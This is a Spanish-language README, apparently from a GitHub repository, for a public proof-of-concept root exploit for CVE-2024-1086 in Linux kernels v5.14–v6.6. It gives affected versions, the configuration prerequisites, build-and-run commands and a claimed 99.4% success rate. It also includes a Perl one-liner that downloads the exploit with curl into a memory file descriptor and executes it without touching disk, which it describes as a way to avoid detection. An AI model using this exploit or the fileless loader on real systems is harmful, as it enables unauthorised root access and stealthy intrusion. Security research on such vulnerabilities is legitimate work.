
Exploit universal de escalada local de privilegios para CVE-2024-1086 dirigido a kernels de Linux v5.14 a v6.6. Proporciona shell root con una tasa de éxito del 99.4% en KernelCTF. Incluye ejecución sin archivos para sigilo.
Exploit universal de prueba de concepto para escalada local de privilegios en CVE-2024-1086, que funciona en la mayoría de los kernels de Linux entre v5.14 y v6.6, incluyendo Debian, Ubuntu y KernelCTF. La tasa de éxito es del 99.4% en las imágenes de KernelCTF.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
Un análisis completo del exploit, incluida la información de contexto y un montón de diagramas útiles, se puede encontrar en la entrada del blog Flipping Pages.
El exploit afecta a las versiones desde (incluida) v5.14 hasta (incluida) v6.6, excluyendo las ramas parcheadas v5.15.149>, v6.1.76>, v6.6.15>. El parche para estas versiones se publicó en febrero de 2024. La vulnerabilidad subyacente afecta a todas las versiones (excluidas las ramas estables parcheadas) desde v3.15 hasta v6.8-rc1.
Advertencias:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (incluido Ubuntu v6.5).CONFIG_USER_NS=y), que esos namespaces de usuario no tengan privilegios (comando sh sysctl kernel.unprivileged_userns_clone = 1) y que nf_tables esté habilitado (kconfig CONFIG_NF_TABLES=y). De forma predeterminada, todos ellos están habilitados en Debian, Ubuntu y KernelCTF. Otras distribuciones no se han probado, pero también podrían funcionar. Además, el exploit solo se ha probado en x64/amd64.Los valores predeterminados deberían funcionar sin configuración adicional en Debian, Ubuntu y KernelCTF con una shell local. En configuraciones/distribuciones no probadas, asegúrese de que los valores de kconfig coincidan con el kernel objetivo. Estos se pueden especificar en src/config.h. Si está ejecutando el exploit en una máquina con más de 32GiB de memoria física, asegúrese de aumentar CONFIG_PHYS_MEM.
Si está ejecutando el exploit a través de SSH (hacia la máquina de prueba) o una reverse shell, puede que quiera cambiar CONFIG_REDIRECT_LOG a 1 para evitar actividad de red innecesaria.
Si esto le resulta poco práctico, hay un binario x64 compilado con la configuración predeterminada.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
Binario: CVE-2024-1086/exploit
Ejecutar el exploit es igual de sencillo:
./exploit
También se admite la ejecución sin archivos (fileless), en caso de situaciones de pentest donde sea necesario evitar detecciones. Sin embargo, Perl debe estar instalado en el objetivo:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
Los programas y scripts ("programas") de este directorio/carpeta/repositorio de software ("repositorio") se publican, desarrollan y distribuyen únicamente con fines educativos/de investigación. Yo ("el creador") no apruebo ningún uso malicioso o ilegal de los programas de este repositorio, ya que la intención es compartir investigación y no realizar actividades ilegales con ella. No soy legalmente responsable de nada de lo que usted haga con los programas de este repositorio.